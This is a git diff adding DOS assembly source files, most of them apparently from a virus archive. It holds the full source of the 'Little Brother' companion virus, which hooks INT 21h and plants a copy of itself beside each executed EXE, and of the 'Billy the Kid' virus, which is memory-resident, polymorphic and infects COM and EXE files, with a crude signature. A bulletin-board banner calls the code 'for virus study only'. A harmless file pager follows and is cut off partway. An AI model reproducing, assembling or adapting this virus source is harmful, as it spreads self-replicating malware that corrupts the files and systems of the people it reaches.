handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute EXE-file + +return: mov ah,1Ah ;restore old DTA + pop dx + pop ds + int 21 + + ret + +do_com: call findfirst ;is the COM-file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return ;no, execute COM-file + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return ;yes, execute EXE-file + mov si,offset COM_txt ;change extension to COM + call change_ext + jmp short return ;execute COM-file + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/b/BROTHER3.ASM b/b/BROTHER3.ASM new file mode 100755 index 0000000..62d6156 --- /dev/null +++ b/b/BROTHER3.ASM @@ -0,0 +1,308 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* Little Brother version 3 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +oi21 equ end +nameptr equ end+4 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + mov sp,300 + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: push cs ;restore segment registers + pop ds + push cs + pop es + + mov bx,30 ;free memory + mov ah,4A + int 21 + + mov es,ds:[002C] ;search filename in environment + mov di,0 + mov ch,0FFh + mov al,01 + repnz scasb + inc di + + mov word ptr [nameptr],di + mov word ptr [nameptr+2],es + + mov si,offset EXE_txt ;change extension to .EXE + call change_ext + + push cs + pop es + mov bx,offset param ;make EXEC param. block + mov [bx+4],cs + mov [bx+8],cs + mov [bx+0C],cs + lds dx,dword ptr [nameptr] + mov ax,4B00 ;execute .EXE program + int 21 + mov ah,4Dh ;ask return code + int 21 + mov ah,4Ch ;exit with same return code + int 21 + + +;**************************************************************************** +;* EXEC parameter block +;**************************************************************************** + +param dw 0, 80, ?, 5C, ?, 6C, ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs + pop ds + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz return + + mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute .EXE program + +return: ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/b/BROWN2.ASM b/b/BROWN2.ASM new file mode 100755 index 0000000..8e49e65 --- /dev/null +++ b/b/BROWN2.ASM @@ -0,0 +1,1039 @@ + assume ss:codevir + +pila segment stack 'stack' + db 64 dup ('12345678') +pila ends + + +code segment +anfitrion: + assume cs:code, ds:code + mov ah, 02h + mov dl, 'z' + int 21h + mov ax, 4C00h + int 21h +code ends + + + +codevir segment + assume cs:codevir, ds:codevir +start: + mov cx, (offset fincomienzo)-(offset comienzo)+(longi)+16 + mov si, offset comienzo ; Puesto por el compilador +bucleen: + xor byte ptr cs:[si],00h + xor byte ptr cs:[si],00h + inc si + loop bucleen + +;***comienzo*** +comienzo: + call acanomas +acanomas label near + pop ax + add ax, offset fincomienzo - offset acanomas + test al, 0Fh + jz noinc + add ax, 0010h +noinc: + mov cl, 04h + shr ax, cl + mov cx, ax + push cs + pop bx + add bx, cx + xor ax, ax + push cs + + push bx + push ax + retf ; Salto a OFS0 +fincomienzo: +codevir ends + +;***OFS0*** +porfin segment + assume cs:porfin, ds:porfin + ; Estoy en offset 0 con el segmento anterior + ; en la pila + add cs:[segcsm], cx + mov ah, 0DDh + int 21h + cmp ax, 'LO' + mov cs:[segant], ds + push cs ; DS = Ac + pop ds ; ES = Anterior + pop es ; + jnz noactivo + jmp correr +noactivo: + push ds + push es + cld + mov ds, [segant] + push cs + pop es + mov cx, 0010h + xor si, si + mov di, offset bufpsp + rep movsb + pop es + pop ds + + call activar + + push es + mov es, [segant] + mov cx, 0010h + xor di, di + mov si, offset bufpsp + rep movsb + pop es +correr: + cmp byte ptr [origen], 'C' + jnz desdeexe +desdecom: + mov si, offset original ; Los 3 bytes del comienzo original + mov di, 0100h + cld + movsw + movsb + + mov ds, [segant] + push ds + mov ax, 0100h + push ax + retf ; Al comienzo del anfitrin +desdeexe: + mov cx, [ofsexe] + mov bx, cs + sub bx, [segcsm] + mov ax, [segstk] + add ax, bx + cli + mov ss, ax + mov sp, [ofsstk] + sti + mov ax, [segexe] + add ax, bx + mov es, [segant] + mov ds, [segant] + push ax + push cx + retf ; Al comienzo del anfitrin + + + + +activar proc + cli + push es + mov es, [segant] + mov ah, 49h + int 21h + mov ah, 48h + mov bx, 0FFFFh + int 21h + sub bx, tamres+1 + mov ah, 4Ah + int 21h + + mov ax, es + add ax, bx + mov word ptr cs:[bufpsp + 0002h], ax + + mov ah, 48h + mov bx, tamres + int 21h + mov es, ax + call recubre + +copiamem: + xor si, si + mov di, si + mov cx, longi + cld + rep movsb + + push es + pop ds + mov ax, 3521h + int 21h + mov [int21cs], es + mov [int21ip], bx + mov dx, offset handler + call setintvec + + push cs + pop ds + +noalcanza: + pop es + sti + ret +activar endp + + + +recubre proc + push ax + mov ax, es + dec ax + mov es, ax + mov word ptr es:[0001h], 0008h + mov ax, es + inc ax + mov es, ax + pop ax + ret +recubre endp + + + +setintvec proc +; Entrada: +; AL : Nmero de interrupcin +; DS:DX : Puntero al handler + + pushf + push ax + push bx + push es + + cli + xor bh, bh + mov bl, al + shl bx, 01h + shl bx, 01h + xor ax, ax + mov es, ax + mov es:[bx], dx + mov es:[bx+02h],ds + + pop es + pop bx + pop ax + popf + ret +setintvec endp + + + +handler proc + cmp ah, 0DDh + jne vamo + mov ax, 'LO' + iret +vamo: + cmp ah, 4Bh + je fexec +finfexec: + jmp dword ptr cs:[int21ip] +handler endp + + + +fexec proc + cld + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov ah, 48h + mov bx, 0100h + pushf + call dword ptr cs:[int21ip] + jc memoerror1 + mov es, ax + + push es + push ds + push dx + mov ax, 3524h + pushf + call dword ptr cs:[int21ip] + mov cs:[int24ip], bx + mov cs:[int24cs], es + mov dx, offset hand24 + push cs + pop ds + call setintvec + pop dx + pop ds + pop es + + + call getattr + + mov ax, 3D02h + pushf + call dword ptr cs:[int21ip] + jc openerror1 + + push ds + push dx + mov bx, ax + mov cs:[fhandle], ax + mov ah, 3Fh + mov cx, 0004h + push cs + pop ds + mov dx, offset original ; Estos bytes ahora estn inutilizados + pushf + call dword ptr cs:[int21ip] + pop dx + pop ds + jc readerror1 + + push dx + mov ax, 5700h + pushf + call dword ptr cs:[int21ip] + mov cs:[fhora], cx + mov cs:[ffecha],dx + pop dx + and cl, 00000111b + cmp cl, 00000101b + jz readerror1 ; 'ta listo + + + + push ds + push dx + + xor bp, bp + cmp cs:[original],'ZM' + jz dale ; Dale al COM + inc bp + jmp dale ; Dale al EXE + +openerror1: ; Para permitir saltos cortos + jmp openerror ; +memoerror1: ; + jmp memoerror ; +readerror1: ; + jmp readerror ; +writeerror1: ; + jmp writeerror ; + +dale: + push cs + pop ds + mov [origen],'C' + or bp, bp + jnz escom1 + mov [origen],'E' +escom1: + call alineafile ; DX:AX = Nueva longitud del archivo + cmp dl, 08h + ja writeerror1 ; Archivo de mas de 600k + push ax + push dx + mov cs:[longhi], dx + mov cs:[longlo], ax + + + call crea ; DI = Longitud del bloque a meter + jnc bien + pop ds + pop ax + jmp writeerror + +bien: + mov bx, [fhandle] + push es + pop ds + + + pop dx + pop ax + + push ax + add ax, 0100h + mov si, cs:[ddespl] + or bp, bp + jz esexe2 + add [si+01h], ax +esexe2: + mov cx, di + mov ah, 40h + xor dx, dx + pushf + call dword ptr cs:[int21ip] + pop dx + jc writeerror + cmp ax, cx + jb writeerror + + push cs + pop ds + sub dx, 0003h + mov [dsalto], dx + mov ax, 4200h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + + or bp, bp + jz esexe3 + mov ah, 40h + mov cx, 0003h + mov dx, offset cambiazo + pushf + call dword ptr cs:[int21ip] + jc writeerror +esexe3: + + mov dx,[ffecha] + mov cx,[fhora] + and cl, 11111000b + or cl, 00000101b + mov ax, 5701h + pushf + call dword ptr cs:[int21ip] +writeerror: + pop dx + pop ds + +readerror: + mov ah, 3Eh + pushf + call dword ptr cs:[int21ip] + +openerror: + call setattr + + mov dx, [int24ip] + mov ds, [int24cs] + mov al, 24h + call setintvec + + mov ah, 49h + pushf + call dword ptr cs:[int21ip] + +memoerror: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp finfexeC +fexec endp + + + + +alineafile proc + xor cx, cx + mov dx, cx + mov ax, 4202h + pushf + call dword ptr cs:[int21ip] + mov cx, ax + neg cl + and cx, 000Fh + mov cs:[agregado], cx + mov ah, 40h + pushf + call dword ptr cs:[int21ip] + mov ax, 4202h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + ret +alineafile endp + + + +getattr proc + mov ax, 4300h + pushf + call dword ptr cs:[int21ip] + mov cs:[fattr], cx + mov ax, 4301h + xor cx, cx + pushf + call dword ptr cs:[int21ip] + ret +getattr endp + + +setattr proc + mov ax,4301h + mov cx, cs:[fattr] + pushf + call dword ptr cs:[int21ip] + ret +setattr endp + + + +hand24 proc + xor al, al + iret +hand24 endp + + + +crea proc +; Entrada +; ES := Segmento a donde se va a crear +; DS := Segmento de cdigo +; Salida +; DI := Longitud + + xor di, di + push bx + call genpar + pop bx + push di + mov cx, offset fincomienzor-offset comienzor + mov si, offset comienzor + rep movsb +alinea: + test di, 000Fh + jz yalineado + inc di + jmp alinea +yalineado: + + or bp, bp + jnz escom41 + + + push ds + + push es + pop ds + + xor cx, cx + mov dx, cx + mov ax, 4200h + pushf + call dword ptr cs:[int21ip] + + mov ah, 3Fh + mov cx, 001Ch + lea dx, [di+offset finporfin] + mov si, dx + pushf + call dword ptr cs:[int21ip] + jc puchaaaa1 + + mov ax, cs:[longlo] ; + mov dx, cs:[longhi] ; Compruebo si tiene overlays + sub ax, cs:[agregado] ; + sbb dx, 0000h ; + mov cx, 0200h ; + div cx ; + or dx, dx ; + jz nomas2 ; + inc ax ; +nomas2: ; + cmp dx, [si+02h] ; + jne puchaaaa1 ; + cmp ax, [si+04h] ; + jne puchaaaa1 ; + + mov ax, [si+08h] + mov cs:[shead], ax + mov ax, [si+0Ah] + mov cs:[minimo], ax + mov ax, [si+10h] + mov cs:[ofsstk], ax + mov ax, [si+0Eh] + mov cs:[segstk], ax + mov ax, [si+14h] + mov cs:[ofsexe], ax + mov ax, [si+16h] + mov cs:[segexe], ax + + push bx + + jmp fsdf + + +puchaaaa1: + jmp puchaaaa +escom41: + jmp escom4 + + +fsdf: + mov ax, cs:[longlo] + mov dx, cs:[longhi] + + push ax + push dx + + add ax, offset finporfin + adc dx, 0000h + add ax, di + adc dx, 0000h + + mov cx, 0200h + div cx + + or dx, dx + jz nomas1 + inc ax +nomas1: + mov [si+02h], dx + mov [si+04h], ax + mov cs:[fsize], ax + pop dx + pop ax + mov bx, dx + mov cl, 04h + shr ax, cl + shr dx, cl + mov cl, 0Ch + and bx, 000Fh + shl bx, cl + or ax, bx + pop bx + sub ax, [si+08h] + mov [si+16h], ax + mov cs:[segcsm], ax + dec ax + mov [si+0Eh], ax + lea ax, [di+offset finporfin+00FFh] + mov [si+10h], ax + mov word ptr [si+14h], 0000h + + mov ax, 4200h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + + mov ah, 40h + mov cx, 001Ch + mov dx, si + pushf + call dword ptr cs:[int21ip] + jc puchaaaa + pop ds +escom4: + xor si, si + mov cx, offset finporfin + rep movsb + mov ax, di + pop di + push ax + sub ax, di + mov cx, ax + dec ax + dec ax + mov si, di + mov di, [dlongit] + mov es:[di+01h], ax + pop di + + push ds + push es + pop ds + call encript + pop ds + mov ax, 4202h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + clc + ret + +puchaaaa: + pop ds + pop di + stc + ret +crea endp + + + + + + + + + + +;*******************COMIENZO DE RUTINAS PMORFICAS****************** +rand proc near + push ds + push es + push bx + + xor ax, ax + mov es, ax + mov ax, cs:[segale] + cmp ax, 61440 + jb menor + mov ax, 61339 +menor: + mov ds, ax + mov bx, cs:[ofsale] + mov ax, [bx] + mov cs:[segale], ax + mov bx, es:[046Ch] + mov ax, [bx] + add bx, ax + mov cs:[ofsale], bx + mov ax, [bx+10] + xor ax, bx + pop bx + pop es + pop ds + ret +rand endp + + + +encript proc near +;Entrada +; DS:SI := Puntero a comienzo +; CX := Longitud + + push si +bucle: +clave1 label byte + db 80h, 34h, 0FFh ; xor byte ptr [si],0FFh +clave2 label byte + db 80h, 04h, 0FFh ; add byte ptr [si],0FFh + inc si + loop bucle + pop si + ret +encript endp + + + + +fillclv proc near +;ENTRADA +; DH : Clave(0=Clave1/1=Clave2) + + xor bh, bh + call rand + mov bl, al + and bl, 03h ; 03h = 00000011b + mov al, 80h + mov ah, offset tencri[bx] + or dh, dh + jz sc2 + mov word ptr ds:[offset clave1], ax + mov ah, offset tencri[bx+4] + mov word ptr ds:[offset clavd1], ax + jmp short finfillclv +sc2: + mov word ptr ds:[offset clave2], ax + mov ah, offset tencri[bx+4] + mov word ptr ds:[offset clavd2], ax +finfillclv: + ret +fillclv endp + + + + +pone proc near +;Entrada +; AH := Modo (0=intil/1=til) + + push cx + + or ah, ah + jz noutil + + xor dh, dh + mov dl, 0Ah + sub dl, cl + cmp dl, 03h + jz estres + cmp dl, 04h + jz escuatro + cmp dl, 05h + jz esdos + cmp dl, 08h + jz esocho + jmp listo +esdos: + mov [dirbucle], di + jmp listo +estres: + mov [dlongit], di + jmp listo +escuatro: + mov [ddespl], di + jmp listo +esocho: + mov [dirfbucle], di + +listo: + mov cx, offset tablas + mov bx, offset tablasi + call lopone + jmp short finpone +noutil: + push cx + mov ah, 2Ah ; Get system date + pushf + call dword ptr cs:[int21ip] + mov si, dx + mov ah, 2Ch ; Get system time + pushf + call dword ptr cs:[int21ip] + xor si, dx + and si, 0001h ; 0003h= 00000000 00000001b + inc si + mov cx, si +bucle2: + push cx + call rand + xor dh, dh + mov dl, al + and dl, 07h ; 07h = 00000111b + mov cx, offset tablln + mov bx, offset tablano + call lopone + pop cx + loop bucle2 + pop cx + +finpone: + pop cx + ret + +proc lopone + shl dl, 1 + add dx, cx + push bx + mov bx, dx + mov ax, [bx] + pop bx + mov cl, ah + xor ch, ch + mov si, bx + xor ah, ah + add si, ax + cld + rep movsb + ret +lopone endp +pone endp + + + + + +genpar proc near +;Entrada +; ES:DI := Puntero a desencriptor a generar +; DS := Segmento de cdigo + + push ds + push es + + push cs + pop ds + + call rand + + mov ds:[offset clavd2+2], ah ; + mov ds:[offset clave2+2], ah ; Set up claves + mov ds:[offset clavd1+2], al ; + mov ds:[offset clave1+2], al ; + + xor dh, dh + call fillclv + inc dh + call fillclv + + mov cx, 000Ah + pop es +bucle1: + xor ah, ah + call pone + inc ah + call pone + loop bucle1 + + push di + mov di, [dirfbucle] + inc di + mov ax, di + inc ax + sub ax, [dirbucle] + neg ax + stosb + mov di, [ddespl] + pop ax + mov es:[di+01h], ax + mov di, ax + pop ds + ret +genpar endp + + + +;************************TABLA DE ENCRIPTORES****************** +tencri label byte + db 04h + db 2Ch + db 34h + db 34h + + db 2Ch + db 04h + db 34h + db 34h + + +;************************FIN TABLA ENCRIPTORES****************** + + +;****************************TABLA UTIL*************************** +tablas db 00, 01, 01, 01, 02, 01, 03, 03, 06, 03, 09, 03, 12, 03, 15, 01 + db 16, 02, 18, 01 +tablasi label byte + db 1Eh ; push ds + db 0Eh ; push cs + db 1Fh ; pop ds + db 0B9h ; mov cx, Longitud a desencriptar +dlongit dw ? ; + db 0BEh ; mov si, Comienzo +ddespl dw ? ; +clavd2 db 3 DUP (?) +clavd1 db 3 DUP (?) + db 46h ; inc si + db 0E2h ; loop bucle +salto db ? + db 1Fh ; pop ds +;******************************FIN TABLA UTIL************************ + +;****************************TABLA INUTIL*************************** +tablln DB 00, 01, 01, 03, 04, 03, 07, 01, 08, 01, 09, 04, 13, 05, 18, 01 +tablano label byte + db 90h + db 25h, 0FFh, 0FFh + db 0Dh, 00h, 00h + db 0F8h + db 0F9h + db 81h, 0C9h, 00h, 00h + db 80h, 06h, 34h, 12h, 00h + db 0FCh +;***********************FIN TABLA INUTIL************************** + + +;****************************VARIABLES*************************** +dirbucle dw ? +dirfbucle dw ? +segale dw ? +ofsale dw ? + +;*****************************FIN DE RUTINAS PMORFICAS**************** + + + + +;Repeticin, pero en el otro segmento para que quede residente + +comienzor: + call acanomasr +acanomasr label near + pop ax + add ax, offset fincomienzor - offset acanomasr + test al, 0Fh + jz noincr + add ax, 0010h +noincr: + mov cl, 04h + shr ax, cl + mov cx, ax + push cs + pop bx + add bx, ax + xor ax, ax + push cs + + push bx + push ax + retf ; Salto a OFS0 +fincomienzor: + +;*****************************VARIABLES******************************* + +longi = offset finporfin +tamres = 0100h +segant dw ? +origen db 'E' + +bufpsp db 10h dup(?) + +original label word +segexe dw 32 +ofsexe dw 0 +segcsm dw 33 +segstk dw 0 +ofsstk dw 0200h +fsize dw 3 +shead dw 32 +minimo dw 1 + + +fhandle dw ? +fhora dw ? +ffecha dw ? +fattr dw ? + +tapon db 'COMMAND' + +cambiazo db 0E9h +dsalto DW ? + +longlo dw ? +longhi dw ? + +int21ip dw ? +int21cs dw ? +int24ip dw ? +int24cs dw ? + +agregado dw ? + +; db ' (C)1994 S.A.O. Texas. Billy the Kid Virus.' +; db ' Look out boy! This is the only far west virus that will make' +; db ' you cry for being born.' +; db ' P.S. : Listen Led Zeppelin and AC/DC with your sons and God' +; db ' will bless ya. ' +; db ' Leave Castro alone.' +; db ' Superman... Why don't you fuck Luisa????' +; db " That's not a fuckin grafitti, it's a sign." +; db 'Jeroboam y todo el pueblo volvieron a ver a Rehoboam al tercer ' +; db 'dia como lo ordeno el rey.' +; db 'I hate moscas.' +; db 'Hecho en China...no piensen que se hizo aca en Argentina.' + + + +finporfin label byte +porfin ends + + end start + diff --git a/b/BROWSE (29).ASM b/b/BROWSE (29).ASM new file mode 100755 index 0000000..291e4f1 --- /dev/null +++ b/b/BROWSE (29).ASM @@ -0,0 +1,454 @@ +; BROWSE.ASM -- Full Screen File Pager +; ==================================== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 0080h +Parameter Label Byte + Org 0100h +Entry: Jmp Begin + +; All Data +; -------- + + db 'ATTR=' +Attribute db 0 ; Current screen attribute + db 'SHIFT=' +ShiftHoriz db 8 ; Horizontal shift screen default +DosVersionFail db 'Requires DOS 2.0 or above$' +NoSpaceFail db 'Not enough memory$' +FileFail db 'File Not Found$' +ScreenFail db 'Unsupported video mode$' +Delimiters db 9,' ,;=/' ; Delimiters in parameter +FileHandle dw ? ; Use for saving file handle +WSMode db 0FFh ; AND value for non-WordStar mode +LineLength db ? ; Length of line (from BIOS) +NumberLines db 25,0 ; Number of lines (check EGA BIOS) +ScreenSize dw ? ; Size of screen in bytes +CheckRetrace db 1 ; Flag zero if EGA or MONO used +Addr6845 dw ? ; Could use for retrace check +ScreenAddr Label DWord ; Address of screen +ScreenOff dw 0 ; Higher for non-page 0 +ScreenSeg dw 0B800h ; Set to B000h for Mono Mode 7 +ScreenStart dw ? ; Points within buffer +EndOfFile dw ? ; Points within buffer +FileOffset dw -1, -1 ; Address within file of buffer data +HorizOffset dw 0 ; Horizontal offset for display +RightMargin dw 0 ; Right margin for offset display +Dispatch dw Home, Up, PgUp, Dummy, Left + dw Dummy, Right, Dummy, End, Down, PgDn + +; Check DOS Version for 2.0 or above +; ---------------------------------- + +Begin: Cld ; All string directions forward + Mov AH,30h + Int 21h ; Get DOS Version Number + Cmp AL,2 ; Check for 2.0 or later + Jae DOSVerOK + Mov DX,Offset DOSVersionFail +ErrorExit: Mov AH,9 ; Write error message + Int 21h + Int 20h + +; Parse Command Line to get File Name and WordStar flag +; ----------------------------------------------------- + +DOSVerOK: Mov SI,1 + Offset Parameter ; Points to parameter +NameSearch: Lodsb ; Get byte + Cmp AL,13 ; Check if carriage return + Jz NoFileFound ; If so, no file name + Mov DI,Offset Delimiters ; String of delimiters + Mov CX,5 ; Number of delimiters (no /) + Repne Scasb ; See if a match + Je NameSearch ; If a delimiter, keep looking + Mov DX,SI ; Otherwise found file name + Dec DX ; Points to beginning of it +EndSearch: Lodsb ; Get next byte + Cmp AL,13 ; See if carriage return + Je GotFileEnd ; If so, we're all done + Mov DI,Offset Delimiters ; String of delimiters + Mov CX,6 ; Number (including /) + Repne Scasb ; See if a match + Jne EndSearch ; If not, still in file name + Mov Byte Ptr [SI - 1],0 ; If so, mark end of file name + Jcxz GotFlag ; If slash, check for W + Jmp EndSearch ; Or continue flag search +GotFlag: Lodsb ; Get byte after / flag + Or AL,20h ; Uncapitalize + Cmp AL,'w' ; See if w for WordStar mode + Jnz GotFileEnd ; If not, just ignore it + Mov [WSMode],7Fh ; AND value for WordStar + +; Open the File +; ------------- + +GotFileEnd: Mov Byte Ptr [SI - 1],0 ; Mark end of file name + ; DX still points to name + Mov AX,3D00h ; Open file for reading + Int 21h ; by calling DOS + Jnc GotTheFile ; If no error, continue +NoFileFound: Mov DX,Offset FileFail ; Otherwise print a message + Jmp ErrorExit +GotTheFile: Mov [FileHandle],AX ; Save the file handle + +; Get Screen Mode Information from BIOS Data Area +; ----------------------------------------------- + + Push ES ; Save register + Sub AX,AX + Mov ES,AX ; Set ES to 0 (BIOS Data) + Mov AL,ES:[0449h] ; Current Video Mode + Cmp AL,3 ; Check if Color Alpha + Jbe DisplayOK ; Continue if so + Cmp AL,7 ; Check if monochrome display + Je Monochrome ; If so, branch + Mov DX,Offset ScreenFail ; We can't handle graphics + Jmp ErrorExit ; So print an error message +Monochrome: Mov [ScreenSeg],0B000h ; Use Monochrome Segment + Mov [CheckRetrace],0 ; Don't have to check retrace +DisplayOK: Mov AL,ES:[044Ah] ; Number of Columns + Mov [LineLength],AL ; Save it + Mov AX,ES:[044Eh] ; Offset into screen buffer + Mov [ScreenOff],AX ; Save it + Mov AX,ES:[0463h] ; Address of 6845 Regsiter + Mov [Addr6845],AX ; Save it + Push ES + Sub DL,DL ; Set Rows to zero first + Sub BH,BH + Mov AX,1130h ; EGA BIOS: Get Information + Int 10h + Pop ES + Or DL,DL ; Check if DL is still zero + Jz NoEGA ; If so, skip rest of stuff + Inc DL + Mov [NumberLines],DL ; Save Number of Lines + Test Byte Ptr ES:[0487h],4 ; Check if must check retrace + Jnz NoEGA + Mov [CheckRetrace],0 ; EGA says we don't have to +NoEGA: Mov BH,ES:[0462h] ; Get Current Page (use later) + Pop ES + Mov AL,[LineLength] ; Length of each line + Mul [NumberLines] ; Total chars on screen + Add AX,AX ; Double for attributes + Mov [ScreenSize],AX ; And Save it + +; See if enough memory is left +; ---------------------------- + + Add AX,Offset ScreenHold ; Add ScreenSize to code end + Add AX,256 ; Add a little stack room + Cmp AX,SP ; Check against stack pointer + Jbe GotEnufMemory ; Continue if OK + Mov DX,Offset NoSpaceFail ; Otherwise end program + Jmp ErrorExit ; with error messae + +; Get Current Screen Attribute +; ---------------------------- + +GotEnufMemory: Cmp [Attribute],0 ; Check if attribute pre-set + Jnz GotAttribute ; If so, move on + Mov DL,' ' ; Write out a byte + Mov AH,2 ; using DOS + Int 21h + Mov AL,8 ; Now backspace + Mov AH,14 ; using BIOS call + Int 10h + Mov AH,8 ; Read character & attribute + Int 10h ; using BIOS call (BH = pg) + Mov [Attribute],AH ; And save attribute + +; Save Current Screen +; ------------------- + +GotAttribute: Mov DX,Offset Terminate ; Set Ctrl-Break exit + Mov AX,2523h ; to terminate that way + Int 21h + Mov DI,Offset ScreenHold ; Destination of screen + Mov CX,[ScreenSize] ; Size of screen + Push DS ; Save Source Segment + Lds SI,[ScreenAddr] ; Get screen address + Rep Movsb ; Move in the bytes + Pop DS ; Restore Source Segment + +; Get Keyboard Key and Decide on Action +; ------------------------------------- + + Call Home ; Read file in + Mov [ScreenStart],SI ; Set buffer address +KeyLoop: Call UpDateScreen ; Write file to screen +GetKey: Mov AH,8 ; Get key + Int 21h ; by calling DOS + Cmp AL,27 ; Check if ESC + Je Terminate ; If so, terminate + Cmp AL,0 ; Check if extended + Jnz GetKey ; If not, try again + Mov AH,8 ; Get extended code + Int 21h ; by calling DOS + Sub AL,71 ; Subtract Home key value + Jb GetKey ; If below that, not valid + Cmp AL,(81 - 71) ; Check if above PgDn + Ja GetKey ; If so, ignore it + Sub AH,AH ; 